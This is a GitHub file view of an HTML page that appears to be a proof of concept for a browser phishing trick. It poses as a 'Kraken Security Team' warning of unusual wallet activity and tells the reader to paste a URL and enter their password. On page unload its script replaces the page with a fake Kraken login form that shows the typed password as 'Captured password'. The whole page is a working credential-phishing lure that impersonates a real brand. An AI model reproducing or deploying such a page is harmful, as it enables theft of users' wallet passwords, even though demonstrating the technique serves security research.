-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathonload.html
More file actions
81 lines (78 loc) · 2.32 KB
/
onload.html
File metadata and controls
81 lines (78 loc) · 2.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<!DOCTYPE html>
<html>
<head>
<title>Kraken Wallet Notification</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
textarea {
box-sizing: border-box;
width: 100%;
}
</style>
</head>
<body>
<h3>Kraken Security Team</h3>
<p>
We detected unusual activity from your Wallet<br />
<textarea rows="2">https://kraken:81</textarea>
</p>
<p>
(To protect your Kraken Wallet, please copy and paste the URL into the address bar, then enter your password.)
</p>
<button id="copyButton">Copy URL</button>
<script>
document.getElementById("copyButton").onclick = function () {
const textArea = document.querySelector("textarea");
textArea.select();
document.execCommand("copy");
};
addEventListener("beforeunload", () => {
document.title = "Kraken";
document.body.innerHTML = `
<div class="container">
<h2>Welcome back!</h2>
<p>Log in to your Kraken Wallet</p>
<form onsubmit="event.preventDefault(); const pw = document.getElementById('password').value; prompt('Captured password:', pw);">
<input type="password" id="password" placeholder="Enter your password" required>
<button type="submit">Unlock</button>
</form>
</div>
<style>
body {
font-family: Arial, sans-serif;
background: #f7f7f7;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
background: #ffffff;
padding: 24px;
border-radius: 12px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
width: 300px;
text-align: center;
}
input[type="password"], button {
width: 100%;
padding: 10px;
margin-top: 10px;
border-radius: 6px;
}
button {
background-color: #8e7eff;
color: white;
border: none;
font-weight: bold;
cursor: pointer;
}
button:hover {
background-color: #7a6ee5;
}
</style>`;
});
</script>
</body>
</html>